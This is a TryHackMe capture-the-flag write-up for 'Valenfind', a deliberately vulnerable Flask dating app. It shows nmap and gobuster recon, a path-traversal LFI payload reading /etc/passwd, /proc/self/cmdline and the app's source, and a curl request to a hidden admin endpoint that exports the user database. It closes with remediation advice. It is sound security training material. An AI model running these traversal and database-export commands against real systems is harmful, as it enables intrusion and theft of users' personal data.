TryHackMe: Valenfind

CTF Write-up

<b>Challenge:</b>	Valenfind
<b>Platform:</b>	TryHackMe
<b>Difficulty:</b>	Medium
<b>Category:</b>	Web Application Security
<b>Points:</b>	200
<b>Link:</b>	https://tryhackme.com/r/room/valenfind_beta

Published: February 14, 2026

Challenge Link: https://tryhackme.com/r/room/valenfind_beta

Table of Contents

1. Challenge Overview

Valenfind is a Valentine's Day themed dating application with multiple security vulnerabilities. The challenge description hints that the creator 'only learned to code this year' suggesting the application may contain beginner coding mistakes. This write-up demonstrates a complete penetration test approach to discovering and exploiting these vulnerabilities.

Learning Objectives:
• Local File Inclusion (LFI) exploitation
• Source code analysis
• API endpoint discovery
• Database extraction techniques
• Secure coding best practices

2. Initial Reconnaissance

2.1 Port Scanning

First, we perform a comprehensive nmap scan to identify open ports and services:

```
nmap -sV -sC -p- [TARGET_IP]
```

Results:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
5000/tcp open  http    Werkzeug/3.0.1 Python/3.12.3
```

The scan reveals two open ports: SSH (22) and a Flask web application running on port 5000 using Werkzeug. The Werkzeug server indicates this is a Python Flask application, which is useful for understanding potential vulnerabilities specific to this framework.

3. Web Application Enumeration

3.1 Directory Discovery

Running gobuster to discover hidden directories and endpoints:

```
    gobuster dir -u http://[TARGET_IP]:5000 \
        -w /usr/share/wordlists/dirb/common.txt
```

Discovered Endpoints:

<b>Endpoint</b>	<b>Description</b>
/dashboard	User profiles page (requires authentication)
/login	User login page
/logout	Logout functionality
/register	New user registration

3.2 Application Features

After creating an account and logging in, the application offers:

- User registration and authentication
- Profile creation with personal information fields (name, email, phone, address, bio)
- Browse other users' public profiles
- "Send Valentine" functionality to like users
- Profile theme customization options

3.3 Key Observation

During exploration, we discover several pre-existing users including historical figures like 'romeo_montague', 'cleopatra_queen', and importantly, a user named 'cupid' who appears to be an administrator.

4. Local File Inclusion (LFI) Discovery

4.1 Analyzing cupid's Profile

The 'cupid' user profile contains an interesting bio: *'I keep the database secure. No peeking.'* This cryptic message suggests there may be database-related vulnerabilities to explore.

More importantly, examining the profile page source reveals a JavaScript function with a revealing comment:

```
function loadTheme(layoutName) {
    // Feature: Dynamic Layout Fetching
    // Vulnerability: 'layout' parameter allows LFI
    fetch(`/api/fetch_layout?layout=${layoutName}`)
        .then(r => r.text())
        .then(html => {
            const bioText = "I keep the database secure...";
            const username = "cupid";
            let rendered = html.replace('__USERNAME__', username)
                               .replace('__BIO__', bioText);
            document.getElementById('bio-container').innerHTML = rendered;
        })
}
```

Critical Finding: The developer comment explicitly states that the 'layout' parameter allows Local File Inclusion (LFI)! This is a major security vulnerability that could allow us to read arbitrary files from the server.

4.2 Testing the LFI Vulnerability

To confirm the vulnerability, we attempt to read a common system file using path traversal:

```
curl -H "Cookie: session=[YOUR_SESSION_COOKIE]" \
  "http://[TARGET_IP]:5000/api/fetch_layout?layout=../../../../../../etc/passwd"
```

Result: The request successfully returns the contents of /etc/passwd, confirming the LFI vulnerability! This proves we can read arbitrary files from the server filesystem.

Key Insight:
The application constructs file paths by concatenating user input without proper validation or sanitization. This allows attackers to use '../' sequences to traverse up the directory tree and access any file the web server process has permission to read.

5. Exploiting LFI to Read Source Code

5.1 Finding the Application Path

To effectively exploit this vulnerability, we need to locate the Flask application's source code. Linux systems provide useful information through the /proc filesystem. Specifically, /proc/self/cmdline shows the command line used to start the current process:

```
curl -H "Cookie: session=[YOUR_SESSION_COOKIE]" \
  "http://[TARGET_IP]:5000/api/fetch_layout?\
layout=../../../../../../../proc/self/cmdline" --output -
```

Output: /usr/bin/python3/opt/Valenfind/app.py

This reveals the Flask application is located at **/opt/Valenfind/app.py**. This is exactly what we need to understand how the application works and potentially find additional vulnerabilities.

5.2 Extracting app.py Source Code

Now that we know the exact path, we can retrieve the complete application source code:

```
curl -H "Cookie: session=[YOUR_SESSION_COOKIE]" \
  "http://[TARGET_IP]:5000/api/fetch_layout?\
layout=../../../../../../../opt/Valenfind/app.py" > app.py
```

This successfully retrieves the complete Flask application source code, giving us full visibility into the application's logic, routes, database structure, and most importantly - any security weaknesses.

6. Hidden Admin API Discovery

6.1 Analyzing the Source Code

Upon examining the app.py source code, we discover several critical pieces of information. Most notably, there's a hidden admin endpoint that isn't linked anywhere in the web interface:

```
ADMIN_API_KEY = "[REDACTED]"
DATABASE = 'cupid.db'

@app.route('/api/admin/export_db')
def export_db():
    auth_header = request.headers.get('X-Valentine-Token')

    if auth_header == ADMIN_API_KEY:
        try:
            return send_file(DATABASE,
                               as_attachment=True,
                               download_name='valenfind_leak.db')
        except Exception as e:
            return str(e)
    else:
        return jsonify({"error": "Forbidden"}), 403
```

Critical Findings:

1. Hidden endpoint: /api/admin/export_db
   This endpoint is not discoverable through normal web navigation

2. Hardcoded API key in source code
   The admin API key is stored directly in the application code

3. Database export functionality
   The endpoint allows downloading the entire database file

4. Header-based authentication
   Requires X-Valentine-Token header with the correct API key

6.2 Security Implications

This discovery reveals multiple severe security issues:

• **Secret Exposure:** Hardcoded credentials in source code means anyone with access to the code has admin access • **Complete Data Breach:** The endpoint exposes the entire database without proper access controls • **Security Through Obscurity:** Relying on the endpoint being "hidden" rather than properly secured

7. Database Extraction

7.1 Using the Admin API

With the admin API key obtained from the source code, we can now authenticate and download the complete database:

```
curl -H "X-Valentine-Token: [REDACTED]" \
  "http://[TARGET_IP]:5000/api/admin/export_db" \
  -o valenfind.db
```

7.2 Examining the Database Structure

We verify the downloaded file and examine its structure:

```
# Verify it's a valid SQLite database
file valenfind.db
# Output: valenfind.db: SQLite 3.x database

# View the database schema
sqlite3 valenfind.db ".schema"

# Query the users table
sqlite3 valenfind.db "SELECT * FROM users;"
```

The database contains a users table with the following structure:

```
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL,
    real_name TEXT,
    email TEXT,
    phone_number TEXT,
    address TEXT,
    bio TEXT,
    likes INTEGER DEFAULT 0,
    avatar_image TEXT
)
```

8. Finding the Solution

8.1 Database Analysis

Querying the users table reveals all user information in the database. Among the users, we find the 'cupid' admin account which contains sensitive administrative information.

The solution to the challenge is found within the database. Examining the cupid user's profile data reveals the answer in one of the personal information fields.

Location: The solution is stored in the *address* field of the cupid user record.

<b>■■ Note: Solution redacted per TryHackMe guidelines</b>

8.2 Alternative Discovery Methods

While we used the admin API to extract the database, there are other potential approaches:

• **SQL Injection:** If SQL injection vulnerabilities exist, the database could be queried directly • **IDOR (Insecure Direct Object Reference):** Attempting to access cupid's private profile data through user ID manipulation • **Session Hijacking:** If session management is weak, potentially gaining access to the admin account

9. Vulnerability Summary

This challenge showcases multiple critical security vulnerabilities commonly found in web applications:

<b>Vulnerability</b>	<b>Severity</b>	<b>Impact</b>
Local File Inclusion (LFI)	Critical	Read arbitrary files including source code and configuration
Hardcoded Credentials	Critical	Admin API key exposed in application source code
Insecure API Endpoint	Critical	Database export without proper authentication
Information Disclosure	High	Developer comments reveal vulnerability details
Weak Access Control	High	Admin functionality lacks proper authorization checks
Sensitive Data Exposure	High	Personal user data stored in plaintext

10. Remediation Recommendations

10.1 Critical Fixes

1. Fix Local File Inclusion Vulnerability: • Implement strict input validation and sanitization - Use whitelisting instead of blacklisting - Only allow alphanumeric characters in file names • Never concatenate user input directly into file paths - Use safe path joining functions - Validate resolved paths stay within allowed directories • Example secure implementation: ALLOWED_THEMES = ['theme_classic', 'theme_modern'] if layout_name not in ALLOWED_THEMES: return "Invalid theme" **2. Remove Hardcoded Credentials:** • Store secrets in environment variables - Use python-dotenv or similar libraries - Keep .env files out of version control • Implement proper secrets management - Use services like AWS Secrets Manager - Rotate credentials regularly • Never commit credentials to source code - Add secrets to .gitignore - Scan repositories for exposed secrets **3. Implement Proper Authentication & Authorization:** • Use industry-standard authentication mechanisms - OAuth 2.0, JWT tokens, or session-based auth - Implement multi-factor authentication for admin access • Role-Based Access Control (RBAC) - Define clear roles and permissions - Validate permissions on every sensitive operation • Secure API endpoints properly - Don't rely on obscurity - Implement rate limiting - Log all admin actions

10.2 Additional Security Measures

Application Security: • Remove all debug comments and developer notes from production code • Disable debug mode in production environments • Implement comprehensive error handling without information leakage • Use parameterized queries to prevent SQL injection • Implement input validation on all user inputs **Infrastructure Security:** • Enable HTTPS/TLS encryption for all communications • Use security headers (CSP, X-Frame-Options, HSTS, etc.) • Implement Web Application Firewall (WAF) • Regular security patching and updates • Network segmentation and principle of least privilege **Monitoring & Response:** • Implement comprehensive logging • Set up alerts for suspicious activities • Regular security audits and penetration testing • Incident response plan • Security awareness training for developers

Attack Chain Summary

b>Step</b>	<b>Action</b>	<b>Technique</b>
1	Port scanning with nmap	Reconnaissance
2	Directory enumeration	Information Gathering
3	User registration and login	Initial Access
4	Profile exploration	Application Mapping
5	LFI discovery via code comments	Vulnerability Identification
6	LFI confirmation (/etc/passwd)	Vulnerability Validation
7	Process inspection (/proc/self/cmdline)	Path Discovery
8	Source code extraction via LFI	Code Analysis
9	Hidden API endpoint discovery	Privilege Escalation Path
10	Admin API key extraction	Credential Harvesting
11	Database export via admin API	Data Exfiltration
12	Solution extraction from database	Mission Complete

Conclusion:
This challenge effectively demonstrates the cascading impact of multiple security vulnerabilities. The Local File Inclusion vulnerability provided initial access to sensitive files, which led to discovering hardcoded credentials, which in turn enabled complete database compromise. This attack chain illustrates why defense-in-depth is crucial - a single vulnerability can expose the entire system.

Key Takeaways:
1. Never trust user input - validate and sanitize everything
2. Never hardcode sensitive credentials in source code
3. Implement proper authentication and authorization
4. Remove debug information from production code
5. Apply the principle of least privilege
6. Regular security testing is essential

Challenge Link: https://tryhackme.com/r/room/valenfind_beta **About TryHackMe:** TryHackMe is a free online platform for learning cyber security through hands-on exercises and labs. Visit https://tryhackme.com to start your journey!